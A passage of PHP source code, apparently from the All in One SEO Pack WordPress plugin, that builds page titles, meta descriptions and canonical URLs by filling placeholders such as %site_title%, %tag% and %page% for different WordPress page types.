$this->get_tax_name( $_GET['taxonomy'] ); $title_format = $this->get_tax_title_format(); $opts = $this->meta_opts; if ( ! empty( $opts ) ) { $description = $opts['aiosp_description']; } if ( empty( $description ) ) { $description = term_description(); } $description = $this->internationalize( $description ); } if ( true == $this->is_front_page ) { // $title_format = $aioseop_options['aiosp_home_page_title_format']; $title_format = ''; // Not sure why this needs to be this way, but we should extract all this out to figure out what's going on. } $show_page = true; if ( ! empty( $aioseop_options['aiosp_no_paged_canonical_links'] ) ) { $show_page = false; } if ( $aioseop_options['aiosp_can'] ) { if ( ! empty( $opts['aiosp_custom_link'] ) ) { $url = $opts['aiosp_custom_link']; } if ( empty( $url ) ) { $url = $this->aiosp_mrt_get_url( $wp_query, $show_page ); } $url = apply_filters( 'aioseop_canonical_url', $url ); } if ( ! $url ) { $url = aioseop_get_permalink(); } $title = $this->apply_cf_fields( $title ); $description = $this->apply_cf_fields( $description ); $description = apply_filters( 'aioseop_description', $description ); $keywords = $this->get_main_keywords(); $keywords = $this->apply_cf_fields( $keywords ); $keywords = apply_filters( 'aioseop_keywords', $keywords ); $info = array( 'title' => $title, 'description' => $description, 'keywords' => $keywords, 'url' => $url, 'title_format' => $title_format, 'category' => $category, 'w' => $wp_query, 'p' => $post, ); wp_reset_postdata(); $wp_query = $w; $post = $p; return $info; } /** * Get Queried Object * * @since ? * * @return null|object|WP_Post */ function get_queried_object() { static $p = null; global $wp_query, $post; if ( null !== $p && ! defined( 'AIOSEOP_UNIT_TESTING' ) ) { return $p; } if ( is_object( $post ) ) { $p = $post; } else { if ( ! $wp_query ) { return null; } $p = $wp_query->get_queried_object(); } return $p; } /** * Get Current Option * * @since ? * * @param array $opts * @param null $location * @param null $defaults * @param null $post * @return array */ function get_current_options( $opts = array(), $location = null, $defaults = null, $post = null ) { if ( ( 'aiosp' === $location ) && ( 'metabox' == $this->locations[ $location ]['type'] ) ) { if ( null === $post ) { global $post; } // TODO Fetch correct ID for static posts page/Woocommerce shop page - #2729. $post_id = $post; if ( is_object( $post_id ) ) { $post_id = $post_id->ID; } $get_opts = $this->default_options( $location ); $optlist = array( 'keywords', 'description', 'title', 'custom_link', 'sitemap_exclude', 'disable', 'disable_analytics', 'noindex', 'nofollow', ); if ( ! ( ! empty( $this->options['aiosp_can'] ) ) ) { unset( $optlist['custom_link'] ); } foreach ( $optlist as $f ) { $meta = ''; $field = "aiosp_$f"; if ( AIOSEOPPRO ) { if ( ( isset( $_GET['taxonomy'] ) && isset( $_GET['tag_ID'] ) ) || is_category() || is_tag() || is_tax() ) { if ( is_admin() && isset( $_GET['tag_ID'] ) ) { $meta = get_term_meta( $_GET['tag_ID'], '_aioseop_' . $f, true ); } else { $queried_object = get_queried_object(); if ( ! empty( $queried_object ) && ! empty( $queried_object->term_id ) ) { $meta = get_term_meta( $queried_object->term_id, '_aioseop_' . $f, true ); } } } else { $meta = get_post_meta( $post_id, '_aioseop_' . $f, true ); } if ( 'title' === $f || 'description' === $f ) { $get_opts[ $field ] = htmlspecialchars( $meta ); } else { $get_opts[ $field ] = htmlspecialchars( stripslashes( $meta ) ); } } else { if ( ! is_category() && ! is_tag() && ! is_tax() ) { $field = "aiosp_$f"; $meta = get_post_meta( $post_id, '_aioseop_' . $f, true ); if ( 'title' === $f || 'description' === $f ) { $get_opts[ $field ] = htmlspecialchars( $meta ); } else { $get_opts[ $field ] = htmlspecialchars( stripslashes( $meta ) ); } } } } $opts = wp_parse_args( $opts, $get_opts ); return $opts; } else { $options = parent::get_current_options( $opts, $location, $defaults ); return $options; } } /** * Internationalize * * @since ? * * @param $in * @return mixed|void */ function internationalize( $in ) { if ( function_exists( 'langswitch_filter_langs_with_message' ) ) { $in = langswitch_filter_langs_with_message( $in ); } if ( function_exists( 'polyglot_filter' ) ) { $in = polyglot_filter( $in ); } if ( function_exists( 'qtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage' ) ) { $in = qtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage( $in ); } elseif ( function_exists( 'ppqtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage' ) ) { $in = ppqtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage( $in ); } elseif ( function_exists( 'qtranxf_useCurrentLanguageIfNotFoundUseDefaultLanguage' ) ) { $in = qtranxf_useCurrentLanguageIfNotFoundUseDefaultLanguage( $in ); } return apply_filters( 'localization', $in ); } /** * WP Title * * Used to filter wp_title(), get our title. * * @since ? * * @return mixed|void */ function wp_title() { if ( ! $this->is_seo_enabled_for_cpt() ) { return; } global $aioseop_options; $title = false; $post = $this->get_queried_object(); $title = $this->get_aioseop_title( $post ); $title = $this->apply_cf_fields( $title ); if ( false === $title ) { $title = $this->get_original_title(); } return apply_filters( 'aioseop_title', $title ); } /** * Get AIOSEOP Title * * Gets the title that will be used by AIOSEOP for title rewrites or returns false. * * @param WP_Post $post the post object * @param bool $use_original_title_format should the original title format be used viz. post_title | blog_title. This parameter was introduced * to resolve issue#986 * @return bool|string */ function get_aioseop_title( $post, $use_original_title_format = true ) { global $aioseop_options; // the_search_query() is not suitable, it cannot just return. global $s, $STagging; // phpcs:ignore WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase $opts = $this->meta_opts; if ( is_front_page() ) { if ( ! empty( $aioseop_options['aiosp_use_static_home_info'] ) ) { global $post; if ( 'page' == get_option( 'show_on_front' ) && is_page() && get_option( 'page_on_front' ) == $post->ID ) { $title = $this->internationalize( get_post_meta( $post->ID, '_aioseop_title', true ) ); if ( ! $title ) { $title = $this->internationalize( $post->post_title ); } if ( ! $title ) { $title = $this->internationalize( $this->get_original_title( '', false ) ); } if ( ! empty( $aioseop_options['aiosp_home_page_title_format'] ) ) { $title = $this->apply_page_title_format( $title, $post, $aioseop_options['aiosp_home_page_title_format'] ); } $title = $this->paged_title( $title ); $title = apply_filters( 'aioseop_home_page_title', $title ); } } else { $title = $this->internationalize( $aioseop_options['aiosp_home_title'] ); if ( ! empty( $aioseop_options['aiosp_home_page_title_format'] ) ) { $title = $this->apply_page_title_format( $title, null, $aioseop_options['aiosp_home_page_title_format'] ); } } if ( empty( $title ) ) { $title = $this->internationalize( get_option( 'blogname' ) ) . ' | ' . $this->internationalize( get_bloginfo( 'description' ) ); } // #1616 - Avoid trying to get property of non-object when no posts are present on the homepage. global $post; if ( null === $post ) { $post_id = get_option( 'page_on_front' ); } else { $post_id = $post->ID; } if ( is_post_type_archive() && is_post_type_archive( 'product' ) && function_exists( 'wc_get_page_id' ) ) { $post_id = wc_get_page_id( 'shop' ); if ( $post_id ) { $post = get_post( $post_id ); if ( wc_get_page_id( 'shop' ) == get_option( 'page_on_front' ) && ! empty( $aioseop_options['aiosp_use_static_home_info'] ) ) { $title = $this->internationalize( get_post_meta( $post->ID, '_aioseop_title', true ) ); } // $title = $this->internationalize( $aioseop_options['aiosp_home_title'] ); if ( ! $title ) { $title = $this->internationalize( get_post_meta( $post_id, '_aioseop_title', true ) ); } // This is/was causing the first product to come through. if ( ! $title ) { $title = $this->internationalize( $post->post_title ); } if ( ! $title ) { $title = $this->internationalize( $this->get_original_title( '', false ) ); } $title = $this->apply_page_title_format( $title, $post ); $title = $this->paged_title( $title ); $title = apply_filters( 'aioseop_title_page', $title ); return $title; } } // this is returned for woo. return $this->paged_title( $title ); } elseif ( is_attachment() ) { if ( null === $post ) { return false; } $title = get_post_meta( $post->ID, '_aioseop_title', true ); if ( empty( $title ) ) { $title = $post->post_title; } if ( empty( $title ) ) { $title = $this->get_original_title( '', false ); } if ( empty( $title ) ) { $title = get_the_title( $post->post_parent ); } $title = apply_filters( 'aioseop_attachment_title', $this->internationalize( $this->apply_post_title_format( $title, '', $post ) ) ); return $title; } elseif ( is_page() || $this->is_static_posts_page() || ( is_home() && ! $this->is_static_posts_page() ) ) { if ( null === $post ) { return false; } $home_title = $this->internationalize( $aioseop_options['aiosp_home_title'] ); if ( $this->is_static_front_page() && ( $home_title ) ) { if ( ! empty( $aioseop_options['aiosp_home_page_title_format'] ) ) { $home_title = $this->apply_page_title_format( $home_title, $post, $aioseop_options['aiosp_home_page_title_format'] ); } // Home title filter. return apply_filters( 'aioseop_home_page_title', $home_title ); } else { $page_for_posts = ''; if ( is_home() ) { $page_for_posts = get_option( 'page_for_posts' ); } if ( $page_for_posts ) { $title = $this->internationalize( get_post_meta( $page_for_posts, '_aioseop_title', true ) ); if ( ! $title ) { $post_page = get_post( $page_for_posts ); $title = $this->internationalize( $post_page->post_title ); } } else { $title = $this->internationalize( get_post_meta( $post->ID, '_aioseop_title', true ) ); if ( ! $title ) { $title = $this->internationalize( $post->post_title ); } } if ( ! $title ) { $title = $this->internationalize( $this->get_original_title( '', false ) ); } $title = $this->apply_page_title_format( $title, $post ); $title = $this->paged_title( $title ); $title = apply_filters( 'aioseop_title_page', $title ); if ( $this->is_static_posts_page() ) { $title = apply_filters( 'single_post_title', $title ); } return $title; } } elseif ( is_post_type_archive( 'product' ) && function_exists( 'wc_get_page_id' ) ) { $post_id = wc_get_page_id( 'shop' ); if ( $post_id ) { $post = get_post( $post_id ); // Too far down? -mrt. $title = $this->internationalize( get_post_meta( $post->ID, '_aioseop_title', true ) ); if ( ! $title ) { $title = $this->internationalize( $post->post_title ); } if ( ! $title ) { $title = $this->internationalize( $this->get_original_title( '', false ) ); } $title = $this->apply_page_title_format( $title, $post ); $title = $this->paged_title( $title ); $title = apply_filters( 'aioseop_title_page', $title ); return $title; } } elseif ( is_single() || $this->check_singular() ) { // We're not in the loop :(. if ( null === $post ) { return false; } $categories = $this->get_all_categories(); $category = ''; if ( count( $categories ) > 0 ) { $category = $categories[0]; } $title = $this->internationalize( get_post_meta( $post->ID, '_aioseop_title', true ) ); if ( ! $title ) { $title = $this->internationalize( get_post_meta( $post->ID, 'title_tag', true ) ); if ( ! $title && $use_original_title_format ) { $title = $this->internationalize( $this->get_original_title( '', false ) ); } } if ( empty( $title ) ) { $title = $post->post_title; } if ( ! empty( $title ) && $use_original_title_format ) { $title = $this->apply_post_title_format( $title, $category, $post ); } $title = $this->paged_title( $title ); return apply_filters( 'aioseop_title_single', $title ); } elseif ( is_search() && isset( $s ) && ! empty( $s ) ) { $search = esc_attr( stripslashes( $s ) ); $title_format = $aioseop_options['aiosp_search_title_format']; $title = str_replace( '%site_title%', $this->internationalize( get_bloginfo( 'name' ) ), $title_format ); if ( false !== strpos( $title, '%blog_title%', 0 ) ) { $title = str_replace( '%blog_title%', $this->internationalize( get_bloginfo( 'name' ) ), $title ); } if ( false !== strpos( $title, '%site_description%', 0 ) ) { $title = str_replace( '%site_description%', $this->internationalize( get_bloginfo( 'description' ) ), $title ); } if ( false !== strpos( $title, '%blog_description%', 0 ) ) { $title = str_replace( '%blog_description%', $this->internationalize( get_bloginfo( 'description' ) ), $title ); } if ( false !== strpos( $title, '%search%', 0 ) ) { $title = str_replace( '%search%', $search, $title ); } $title = $this->paged_title( $title ); return $title; } elseif ( is_tag() ) { global $utw; $tag = ''; $tag_description = ''; if ( $utw ) { $tags = $utw->GetCurrentTagSet(); $tag = $tags[0]->tag; $tag = str_replace( '-', ' ', $tag ); } else { if ( AIOSEOPPRO ) { if ( ! empty( $opts ) && ! empty( $opts['aiosp_title'] ) ) { $tag = $opts['aiosp_title']; } if ( ! empty( $opts ) ) { if ( ! empty( $opts['aiosp_title'] ) ) { $tag = $opts['aiosp_title']; } if ( ! empty( $opts['aiosp_description'] ) ) { $tag_description = $opts['aiosp_description']; } } } if ( empty( $tag ) ) { $tag = $this->get_original_title( '', false ); } if ( empty( $tag_description ) ) { $tag_description = tag_description(); } $tag = $this->internationalize( $tag ); $tag_description = $this->internationalize( $tag_description ); } if ( $tag ) { $title_format = $aioseop_options['aiosp_tag_title_format']; $title = str_replace( '%site_title%', $this->internationalize( get_bloginfo( 'name' ) ), $title_format ); if ( false !== strpos( $title, '%blog_title%', 0 ) ) { $title = str_replace( '%blog_title%', $this->internationalize( get_bloginfo( 'name' ) ), $title ); } if ( false !== strpos( $title, '%site_description%', 0 ) ) { $title = str_replace( '%site_description%', $this->internationalize( get_bloginfo( 'description' ) ), $title ); } if ( false !== strpos( $title, '%blog_description%', 0 ) ) { $title = str_replace( '%blog_description%', $this->internationalize( get_bloginfo( 'description' ) ), $title ); } if ( false !== strpos( $title, '%tag%', 0 ) ) { $title = str_replace( '%tag%', $tag, $title ); } if ( false !== strpos( $title, '%tag_description%', 0 ) ) { $title = str_replace( '%tag_description%', $tag_description, $title ); } if ( false !== strpos( $title, '%taxonomy_description%', 0 ) ) { $title = str_replace( '%taxonomy_description%', $tag_description, $title ); } $title = trim( wp_strip_all_tags( $title ) ); $title = str_replace( array( '"', "\r\n", "\n" ), array( '"', ' ', ' ' ), $title ); $title = $this->paged_title( $title ); return $title; } } elseif ( ( is_tax() || is_category() ) && ! is_feed() ) { return $this->get_tax_title(); } elseif ( isset( $STagging ) && $STagging->is_tag_view() ) { // phpcs:ignore WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase // Simple tagging support. $tag = $STagging->search_tag; // phpcs:ignore WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase if ( $tag ) { $title_format = $aioseop_options['aiosp_tag_title_format']; $title = str_replace( '%site_title%', $this->internationalize( get_bloginfo( 'name' ) ), $title_format ); if ( false !== strpos( $title, '%blog_title%', 0 ) ) { $title = str_replace( '%blog_title%', $this->internationalize( get_bloginfo( 'name' ) ), $title ); } if ( false !== strpos( $title, '%site_description%', 0 ) ) { $title = str_replace( '%site_description%', $this->internationalize( get_bloginfo( 'description' ) ), $title ); } if ( false !== strpos( $title, '%blog_description%', 0 ) ) { $title = str_replace( '%blog_description%', $this->internationalize( get_bloginfo( 'description' ) ), $title ); } if ( false !== strpos( $title, '%tag%', 0 ) ) { $title = str_replace( '%tag%', $tag, $title ); } $title = $this->paged_title( $title ); return $title; } } elseif ( is_archive() || is_post_type_archive() ) { if ( is_author() ) { $author = $this->internationalize( $this->get_original_title( '', false ) ); $title_format = $aioseop_options['aiosp_author_title_format']; $new_title = str_replace( '%author%', $author, $title_format ); } elseif ( is_date() ) { global $wp_query; $date = $this->internationalize( $this->get_original_title( '', false ) ); $title_format = $aioseop_options['aiosp_date_title_format']; $new_title = str_replace( '%date%', $date, $title_format ); $day = get_query_var( 'day' ); if ( empty( $day ) ) { $day = ''; } $new_title = str_replace( '%day%', $day, $new_title ); $monthnum = get_query_var( 'monthnum' ); $year = get_query_var( 'year' ); if ( empty( $monthnum ) || is_year() ) { $month = ''; $monthnum = 0; } $month = date( 'F', mktime( 0, 0, 0, (int) $monthnum, 1, (int) $year ) ); $new_title = str_replace( '%monthnum%', $monthnum, $new_title ); if ( false !== strpos( $new_title, '%month%', 0 ) ) { $new_title = str_replace( '%month%', $month, $new_title ); } if ( false !== strpos( $new_title, '%year%', 0 ) ) { $new_title = str_replace( '%year%', get_query_var( 'year' ), $new_title ); } } elseif ( is_post_type_archive() ) { if ( empty( $title ) ) { $title = $this->get_original_title( '', false ); } $new_title = apply_filters( 'aioseop_archive_title', $this->apply_archive_title_format( $title ) ); } else { return false; } $new_title = str_replace( '%site_title%', $this->internationalize( get_bloginfo( 'name' ) ), $new_title ); if ( false !== strpos( $new_title, '%blog_title%', 0 ) ) { $new_title = str_replace( '%blog_title%', $this->internationalize( get_bloginfo( 'name' ) ), $new_title ); } if ( false !== strpos( $new_title, '%site_description%', 0 ) ) { $new_title = str_replace( '%site_description%', $this->internationalize( get_bloginfo( 'description' ) ), $new_title ); } if ( false !== strpos( $new_title, '%blog_description%', 0 ) ) { $new_title = str_replace( '%blog_description%', $this->internationalize( get_bloginfo( 'description' ) ), $new_title ); } $title = trim( $new_title ); $title = $this->paged_title( $title ); return $title; } elseif ( is_404() ) { $title_format = $aioseop_options['aiosp_404_title_format']; $new_title = str_replace( '%site_title%', $this->internationalize( get_bloginfo( 'name' ) ), $title_format ); if ( false !== strpos( $new_title, '%blog_title%', 0 ) ) { $new_title = str_replace( '%blog_title%', $this->internationalize( get_bloginfo( 'name' ) ), $new_title ); } if ( false !== strpos( $new_title, '%site_description%', 0 ) ) { $new_title = str_replace( '%site_description%', $this->internationalize( get_bloginfo( 'description' ) ), $new_title ); } if ( false !== strpos( $new_title, '%blog_description%', 0 ) ) { $new_title = str_replace( '%blog_description%', $this->internationalize( get_bloginfo( 'description' ) ), $new_title ); } if ( false !== strpos( $new_title, '%request_url%', 0 ) ) { $new_title = str_replace( '%request_url%', $_SERVER['REQUEST_URI'], $new_title ); } if ( false !== strpos( $new_title, '%request_words%', 0 ) ) { $new_title = str_replace( '%request_words%', $this->request_as_words( $_SERVER['REQUEST_URI'] ), $new_title ); } if ( false !== strpos( $new_title, '%404_title%', 0 ) ) { $new_title = str_replace( '%404_title%', $this->internationalize( $this->get_original_title( '', false ) ), $new_title ); } return $new_title; } return false; } /** * Get Original Title * * @since ? * * @param string $sep * @param bool $echo * @param string $seplocation * @return string The original title as delivered by WP (well, in most cases). */ function get_original_title( $sep = '|', $echo = false, $seplocation = '' ) { global $aioseop_options; if ( ! empty( $aioseop_options['aiosp_use_original_title'] ) ) { $has_filter = has_filter( 'wp_title', array( $this, 'wp_title' ) ); if ( false !== $has_filter ) { remove_filter( 'wp_title', array( $this, 'wp_title' ), $has_filter ); } if ( current_theme_supports( 'title-tag' ) ) { $sep = '|'; $echo = false; $seplocation = 'right'; } $title = wp_title( $sep, $echo, $seplocation ); if ( false !== $has_filter ) { add_filter( 'wp_title', array( $this, 'wp_title' ), $has_filter ); } $title = trim( $title ); if ( $title ) { return trim( $title ); } } // the_search_query() is not suitable, it cannot just return. global $s; $title = null; if ( is_home() ) { $title = get_option( 'blogname' ); } elseif ( is_single() ) { $title = $this->internationalize( single_post_title( '', false ) ); } elseif ( is_search() && isset( $s ) && ! empty( $s ) ) { $search = esc_attr( stripslashes( $s ) ); $title = $search; } elseif ( ( is_tax() || is_category() ) && ! is_feed() ) { $category_name = $this->ucwords( $this->internationalize( single_cat_title( '', false ) ) ); $title = $category_name; } elseif ( is_page() ) { $title = $this->internationalize( single_post_title( '', false ) ); } elseif ( is_tag() ) { global $utw; if ( $utw ) { $tags = $utw->GetCurrentTagSet(); $tag = $tags[0]->tag; $tag = str_replace( '-', ' ', $tag ); } else { // For WordPress > 2.3. $tag = $this->internationalize( single_term_title( '', false ) ); } if ( $tag ) { $title = $tag; } } elseif ( is_author() ) { $author = get_userdata( get_query_var( 'author' ) ); if ( false === $author ) { global $wp_query; $author = $wp_query->get_queried_object(); } if ( false !== $author ) { $title = $author->display_name; } } elseif ( is_day() ) { $title = get_the_date(); } elseif ( is_month() ) { $title = get_the_date( 'F, Y' ); } elseif ( is_year() ) { $title = get_the_date( 'Y' ); } elseif ( is_archive() ) { $title = $this->internationalize( post_type_archive_title( '', false ) ); } elseif ( is_404() ) { $title_format = $aioseop_options['aiosp_404_title_format']; $new_title = str_replace( '%site_title%', $this->internationalize( get_bloginfo( 'name' ) ), $title_format ); if ( false !== strpos( $new_title, '%blog_title%', 0 ) ) { $new_title = str_replace( '%blog_title%', $this->internationalize( get_bloginfo( 'name' ) ), $new_title ); } if ( false !== strpos( $new_title, '%site_description%', 0 ) ) { $new_title = str_replace( '%site_description%', $this->internationalize( get_bloginfo( 'description' ) ), $new_title ); } if ( false !== strpos( $new_title, '%blog_description%', 0 ) ) { $new_title = str_replace( '%blog_description%', $this->internationalize( get_bloginfo( 'description' ) ), $new_title ); } if ( false !== strpos( $new_title, '%request_url%', 0 ) ) { $new_title = str_replace( '%request_url%', $_SERVER['REQUEST_URI'], $new_title ); } if ( false !== strpos( $new_title, '%request_words%', 0 ) ) { $new_title = str_replace( '%request_words%', $this->request_as_words( $_SERVER['REQUEST_URI'] ), $new_title ); } $title = $new_title; } return trim( $title ); } /** * Request as Words * * @since ? * * @param $request * @return string User -readable nice words for a given request. */ function request_as_words( $request ) { $request = htmlspecialchars( $request ); $request = str_replace( '.html', ' ', $request ); $request = str_replace( '.htm', ' ', $request ); $request = str_replace( '.', ' ', $request ); $request = str_replace( '/', ' ', $request ); $request = str_replace( '-', ' ', $request ); $request_a = explode( ' ', $request ); $request_new = array(); foreach ( $request_a as $token ) { $request_new[] = $this->ucwords( trim( $token ) ); } $request = implode( ' ', $request_new ); return $request; } /** * Apply Page Title Format * * @since ? * * @param $title * @param null $p * @param string $title_format * @return string */ function apply_page_title_format( $title, $p = null, $title_format = '' ) { global $aioseop_options; if ( null === $p ) { global $post; } else { $post = $p; } if ( empty( $title_format ) ) { $title_format = $aioseop_options['aiosp_page_title_format']; } return $this->title_placeholder_helper( $title, $post, 'page', $title_format ); } /** * Title Placeholder Helper * * Replace doc title templates inside % symbol on the frontend. * * @since ? * * @param $title * @param $post * @param string $type * @param string $title_format * @param string $category * @return string */ function title_placeholder_helper( $title, $post, $type = 'post', $title_format = '', $category = '' ) { /** * Runs before applying the formatting for the doc title on the frontend. * * @since 3.0 */ do_action( 'aioseop_before_title_placeholder_helper' ); if ( ! empty( $post ) ) { $authordata = get_userdata( $post->post_author ); } else { $authordata = new WP_User(); } $new_title = str_replace( '%site_title%', $this->internationalize( get_bloginfo( 'name' ) ), $title_format ); if ( false !== strpos( $new_title, '%blog_title%', 0 ) ) { $new_title = str_replace( '%blog_title%', $this->internationalize( get_bloginfo( 'name' ) ), $new_title ); } if ( false !== strpos( $new_title, '%site_description%', 0 ) ) { $new_title = str_replace( '%site_description%', $this->internationalize( get_bloginfo( 'description' ) ), $new_title ); } if ( false !== strpos( $new_title, '%blog_description%', 0 ) ) { $new_title = str_replace( '%blog_description%', $this->internationalize( get_bloginfo( 'description' ) ), $new_title ); } if ( false !== strpos( $new_title, "%{$type}_title%", 0 ) ) { $new_title = str_replace( "%{$type}_title%", $title, $new_title ); } if ( 'post' == $type ) { if ( false !== strpos( $new_title, '%category%', 0 ) ) { $new_title = str_replace( '%category%', $category, $new_title ); } if ( false !== strpos( $new_title, '%category_title%', 0 ) ) { $new_title = str_replace( '%category_title%', $category, $new_title ); } if ( false !== strpos( $new_title, '%tax_', 0 ) && ! empty( $post ) ) { $taxes = get_object_taxonomies( $post, 'objects' ); if ( ! empty( $taxes ) ) { foreach ( $taxes as $t ) { if ( false !== strpos( $new_title, "%tax_{$t->name}%", 0 ) ) { $terms = $this->get_all_terms( $post->ID, $t->name ); $term = ''; if ( count( $terms ) > 0 ) { $term = $terms[0]; } $new_title = str_replace( "%tax_{$t->name}%", $term, $new_title ); } } } } } if ( false !== strpos( $new_title, "%{$type}_author_login%", 0 ) ) { $new_title = str_replace( "%{$type}_author_login%", $authordata->user_login, $new_title ); } if ( false !== strpos( $new_title, "%{$type}_author_nicename%", 0 ) ) { $new_title = str_replace( "%{$type}_author_nicename%", $authordata->user_nicename, $new_title ); } if ( false !== strpos( $new_title, "%{$type}_author_firstname%", 0 ) ) { $new_title = str_replace( "%{$type}_author_firstname%", $this->ucwords( $authordata->first_name ), $new_title ); } if ( false !== strpos( $new_title, "%{$type}_author_lastname%", 0 ) ) { $new_title = str_replace( "%{$type}_author_lastname%", $this->ucwords( $authordata->last_name ), $new_title ); } if ( false !== strpos( $new_title, '%current_date%', 0 ) ) { $new_title = str_replace( '%current_date%', aioseop_formatted_date(), $new_title ); } if ( false !== strpos( $new_title, '%current_year%', 0 ) ) { $new_title = str_replace( '%current_year%', date( 'Y' ), $new_title ); } if ( false !== strpos( $new_title, '%current_month%', 0 ) ) { $new_title = str_replace( '%current_month%', date( 'M' ), $new_title ); } if ( false !== strpos( $new_title, '%current_month_i18n%', 0 ) ) { $new_title = str_replace( '%current_month_i18n%', date_i18n( 'M' ), $new_title ); } if ( false !== strpos( $new_title, '%post_date%', 0 ) ) { $new_title = str_replace( '%post_date%', aioseop_formatted_date( get_the_date( 'U' ) ), $new_title ); } if ( false !== strpos( $new_title, '%post_year%', 0 ) ) { $new_title = str_replace( '%post_year%', get_the_date( 'Y' ), $new_title ); } if ( false !== strpos( $new_title, '%post_month%', 0 ) ) { $new_title = str_replace( '%post_month%', get_the_date( 'F' ), $new_title ); } /** * Filters document title after applying the formatting. * * @since 3.0 * * @param string $new_title Document title to be filtered. */ $new_title = apply_filters( 'aioseop_title_format', $new_title ); /** * Runs after applying the formatting for the doc title on the frontend. * * @since 3.0 */ do_action( 'aioseop_after_title_placeholder_helper' ); $title = trim( $new_title ); return $title; } /** * Get All Terms * * @since ? * * @param $id * @param $taxonomy * @return array */ function get_all_terms( $id, $taxonomy ) { $keywords = array(); $terms = get_the_terms( $id, $taxonomy ); if ( ! empty( $terms ) ) { foreach ( $terms as $term ) { $keywords[] = $this->internationalize( $term->name ); } } return $keywords; } /** * Paged Title * * @since ? * * @param $title * @return string */ function paged_title( $title ) { // The page number if paged. global $paged; global $aioseop_options; // phpcs:disable WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase // Simple tagging support. global $STagging; $page = get_query_var( 'page' ); if ( $paged > $page ) { $page = $paged; } if ( is_paged() || ( isset( $STagging ) && $STagging->is_tag_view() && $paged ) || ( $page > 1 ) ) { $part = $this->internationalize( $aioseop_options['aiosp_paged_format'] ); if ( isset( $part ) || ! empty( $part ) ) { $part = ' ' . trim( $part ); $part = str_replace( '%page%', $page, $part ); $this->log( "paged_title() [$title] [$part]" ); $title .= $part; } } // phpcs:enable return $title; } /** * Log * * @since ? * * @param $message */ function log( $message ) { if ( $this->do_log ) { // @codingStandardsIgnoreStart @error_log( date( 'Y-m-d H:i:s' ) . ' ' . $message . "\n", 3, $this->log_file ); // @codingStandardsIgnoreEnd } } /** * Apply Post Title Format * * @since ? * * @param $title * @param string $category * @param null $p * @return string */ function apply_post_title_format( $title, $category = '', $p = null ) { if ( null === $p ) { global $post; } else { $post = $p; } $title_format = $this->get_post_title_format( 'post', $post ); return $this->title_placeholder_helper( $title, $post, 'post', $title_format, $category ); } /** * Get Post Title Format * * @since ? * * @param string $title_type * @param null $p * @return bool|string */ function get_post_title_format( $title_type = 'post', $p = null ) { global $aioseop_options; if ( ( 'post' != $title_type ) && ( 'archive' != $title_type ) ) { return false; } $title_format = "%{$title_type}_title% | %site_title%"; if ( isset( $aioseop_options[ "aiosp_{$title_type}_title_format" ] ) ) { $title_format = $aioseop_options[ "aiosp_{$title_type}_title_format" ]; } if ( ! empty( $aioseop_options['aiosp_cpostactive'] ) ) { $wp_post_types = $aioseop_options['aiosp_cpostactive']; $is_post_type_archive = ( 'archive' == $title_type ) && is_post_type_archive( $wp_post_types ); $is_singular_post = ( 'post' == $title_type ) && $this->is_singular( $wp_post_types, $p ); if ( $is_post_type_archive || $is_singular_post ) { if ( $is_post_type_archive ) { $prefix = "aiosp_{$title_type}_"; } else { $prefix = 'aiosp_'; } $post_type = get_post_type( $p ); if ( ! empty( $aioseop_options[ "{$prefix}{$post_type}_title_format" ] ) ) { $title_format = $aioseop_options[ "{$prefix}{$post_type}_title_format" ]; } } } return $title_format; } /** * Is Singular * * @since ? * * @param array $post_types * @param null $post * @return bool */ function is_singular( $post_types = array(), $post = null ) { if ( ! empty( $post_types ) && is_object( $post ) ) { return in_array( $post->post_type, (array) $post_types ); } else { return is_singular( $post_types ); } } /** * Is Static Posts Page * * @since ? * * @return bool|null */ function is_static_posts_page() { static $is_posts_page = null; if ( null !== $is_posts_page ) { return $is_posts_page; } $post = $this->get_queried_object(); $is_posts_page = ( 'page' == get_option( 'show_on_front' ) && is_home() && ! empty( $post ) && get_option( 'page_for_posts' ) == $post->ID ); return $is_posts_page; } /** * Is Static Front Page * * @since ? * * @return bool|null */ function is_static_front_page() { if ( isset( $this->is_front_page ) && null !== $this->is_front_page ) { return $this->is_front_page; } $post = $this->get_queried_object(); $this->is_front_page = ( 'page' == get_option( 'show_on_front' ) && is_page() && ! empty( $post ) && get_option( 'page_on_front' ) == $post->ID ); return $this->is_front_page; } /** * Get All Categories * * @since ? * * @param int $id * @return array */ function get_all_categories( $id = 0 ) { $keywords = array(); $categories = get_the_category( $id ); if ( ! empty( $categories ) ) { foreach ( $categories as $category ) { $keywords[] = $this->internationalize( $category->cat_name ); } } return $keywords; } /** * Get Taxonomy Title * * @since ? * * @param string $tax * @return string */ function get_tax_title( $tax = '' ) { if ( AIOSEOPPRO ) { if ( empty( $this->meta_opts ) ) { $this->meta_opts = $this->get_current_options( array(), 'aiosp' ); } } if ( empty( $tax ) ) { if ( is_category() ) { $tax = 'category'; } else { $tax = get_query_var( 'taxonomy' ); } } $name = $this->get_tax_name( $tax ); $desc = $this->get_tax_desc( $tax ); return $this->apply_tax_title_format( $name, $desc, $tax ); } /** * Gets Taxonomy Name * * @param $tax * * @since ? * @since 2.3.10 Remove option for capitalize categories. We still respect the option, * and the default (true) or a legacy option in the db can be overridden with the new filter hook aioseop_capitalize_categories * @since 2.3.15 Remove category capitalization completely * * @return mixed|void */ function get_tax_name( $tax ) { global $aioseop_options; if ( AIOSEOPPRO ) { $opts = $this->meta_opts; if ( ! empty( $opts ) ) { $name = $opts['aiosp_title']; } } else { $name = ''; } if ( empty( $name ) ) { $name = single_term_title( '', false ); } return $this->internationalize( $name ); } /** * Get Taxonomy Description * * @since ? * * @param $tax * @return mixed|void */ function get_tax_desc( $tax ) { if ( AIOSEOPPRO ) { $opts = $this->meta_opts; if ( ! empty( $opts ) ) { $desc = $opts['aiosp_description']; } } else { $desc = ''; } if ( empty( $desc ) ) { $desc = term_description( '', $tax ); } return $this->internationalize( $desc ); } /** * Apply Taxonomy Title Format * * @since ? * * @param $category_name * @param $category_description * @param string $tax * @return string */ function apply_tax_title_format( $category_name, $category_description, $tax = '' ) { /** * Runs before applying the formatting for the taxonomy title. * * @since 3.0 */ do_action( 'aioseop_before_tax_title_format' ); if ( empty( $tax ) ) { $tax = get_query_var( 'taxonomy' ); } 